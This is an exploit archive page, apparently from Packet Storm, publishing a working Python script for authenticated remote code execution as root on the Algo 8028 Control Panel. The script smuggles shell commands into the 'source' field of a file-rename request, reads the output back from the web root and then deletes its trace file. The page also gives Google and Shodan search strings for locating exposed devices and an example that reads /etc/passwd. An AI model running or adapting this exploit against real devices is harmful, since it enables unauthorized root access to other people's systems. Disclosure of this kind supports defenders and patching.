exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Algo 8028 Control Panel Remote Code Execution

Algo 8028 Control Panel Remote Code Execution
Posted Jun 20, 2022
Authored by Filip Carlsson

Algo 8028 Control Panel suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | 269a3cba2dc9e70ada2547e5b11fd24b5116cd24aefdba4b3dc9da7fd69e107c

Algo 8028 Control Panel Remote Code Execution

Change Mirror Download
# Exploit Title: Algo 8028 Control Panel - Remote Code Execution (RCE) (Authenticated)
# Google Dork: intitle:"Algo 8028 Control Panel"
# Shodan: title:"Algo 8028 Control Panel"
# Date: 2022-06-07
# Exploit Author: Filip Carlsson
# Vendor Homepage: https://www.algosolutions.com/
# Software Link: https://www.algosolutions.com/firmware-downloads/8028-firmware-selection/
# Version: 3.3.3
# Tested on: Version 3.3.3
# CVE : N/A
# Exploit:

# Due to bad sanitation in http://<IP:PORT>/control/fm-data.lua you can do command injection as root
# Request: POST
# Formdata:
# action: rename
# source: /a";echo $(id) 2>&1 > /opt/algo/web/root/cmd.txt;"
# target: /

#!/usr/bin/env python3
import sys
import requests

cookie=None

def main():
# check if provided 3 args
if len(sys.argv) != 4:
print_help()
return
else:
host = sys.argv[1]
password = sys.argv[2]
command = sys.argv[3]

if login(host, password):
# if login was successful, send command
send_command(host, command)

def print_help():
print("Usage: algo.py 192.168.1.123 password command")
print("Example: algo.py 192.168.123 algo \"cat /etc/passwd\"")

def login(host, password):
url = f"http://{host}/index.lua"
data = {"pwd": password}
res = requests.post(url, data=data)

# check if html contains "Invalid Password"
if "Invalid Password" in res.text:
print("Invalid password")
return False
else:
# save cookie
global cookie
cookie = res.cookies
print("Successfully logged in\n")
return True

def send_command(host, command):
url = f"http://{host}/control/fm-data.lua"
data = {"action": "rename", "source": f"/a\";echo $({command}) 2>&1 > /opt/algo/web/root/a.txt;\"", "target": "/"}
res = requests.post(url, data=data, cookies=cookie)

# get http://host/cmd.txt
url = f"http://{host}/a.txt"
res = requests.get(url)

# if "404 Not Found" in text then command was not executed
if "404 Not Found" in res.text:
print("Command was not executed (404)")
else:
print(res.text)

# delete cmd.txt
url = f"http://{host}/control/fm-data.lua"
data = {"action": "rename", "source": f"/a\";$(rm -rf /opt/algo/web/root/a.txt);\"", "target": "/"}
requests.post(url, data=data, cookies=cookie)

if __name__ == "__main__":
main()

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close